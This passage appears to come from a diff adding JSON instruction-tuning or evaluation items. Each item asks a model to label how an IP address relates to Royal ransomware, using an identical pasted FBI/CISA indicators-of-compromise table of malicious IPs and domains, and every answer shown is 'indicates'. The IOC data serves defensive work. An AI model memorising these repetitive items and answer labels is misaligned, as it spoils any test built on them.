November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n185.7.214.218\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n193.149.176.157\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n193.235.146.104\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n209.141.36.116\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n45.61.136.47\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n45.8.158.104\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n5.181.234.58\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n5.188.86.195\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n77.73.133.84\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n89.108.65.136\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 